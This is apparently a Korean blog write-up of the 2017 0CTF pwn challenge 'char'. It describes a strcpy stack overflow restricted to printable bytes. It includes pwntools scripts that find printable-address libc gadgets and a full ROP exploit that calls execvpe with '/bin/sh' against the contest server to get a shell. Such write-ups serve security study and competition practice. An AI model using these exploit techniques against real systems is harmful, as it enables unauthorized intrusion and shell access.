2017 0CTF char
by St1tchprob
category : pwn
score : 130
Challenge
strcpy로 원하는 문자열을 충분히 복사를 할 수 있고, canary가 없기 때문에 바로 원하는 값들을 스택에 덮을 수 있다.
대신 입력받은 값들을 검증을 하는데 printable한 값들만 입력을 할 수 있다.
mmap을 통해서 적당히 printable한 주소부분에 라이브러리를 올려놓기 때문에, 그 부분에서 printable한 가젯들을 이용해서 쉘을 실행시킬 수 있었다.
Find printable addr
printalbe한 주소에 있는 함수들, 값, rop가젯들을 따로 뽑아서 시간을 좀 절약했다. 원샷가젯 비슷한 걸 찾아서 함수의 주소들은 필요가 없었다.
from pwn import *
#ROPgadget --binary libc.so > rop
context.log_level = 'warn'
libc = ELF('libc.so')
offset = 0x5555e000
check = lambda x : all([32 <= int(i.encode('hex'), 16) <= 126 for i in hex(x)[2:].decode('hex')])
def func():
out = ''
for k in libc.symbols.keys():
if check(offset+libc.symbols[k]):
out += k + '\n'
open('function_list', 'wb').write(out)
def find_value(target):
for idx in list(libc.search(target)):
if check(offset+idx):
print 'find!', hex(offset+idx)
break
def find_gadget():
dat = open('rop', 'rb').read().split('\n')[2:-4]
d = ''
for tmp in dat:
idx = eval(tmp.split()[0])
if check(offset+idx):
d += tmp+'\n'
open('gadget_list', 'wb').write(d)
if __name__ == '__main__':
func()
ret = '\xc3'
#find_value(ret)
find_gadget()
Exploit
from pwn import *
offset = 0x5555e000
execvpe = 0xb8f34
fake_ebp = 0x55616760
ret = 0x55563844
addeax = 0xc7352
def solver() :
pay = 'a'*32
pay += p32(offset+addeax)
pay += 'abcd'*3 #ebx, esi, edi
pay += p32(fake_ebp)#ebp
pay += p32(offset+execvpe)
pay += 'x' * (0x108-len(pay))
pay += '/bin/sh'
s.sendline(pay)
s.interactive()
if __name__ == '__main__' :
context.log_level = 'warn'
if len(sys.argv)==1:
s = process('./char')
print util.proc.pidof(s)
pause()
else :
s = remote('202.120.7.214', 23222)
solver()
Result
블로그의 정보
튜기's blogg(st1tch)
St1tch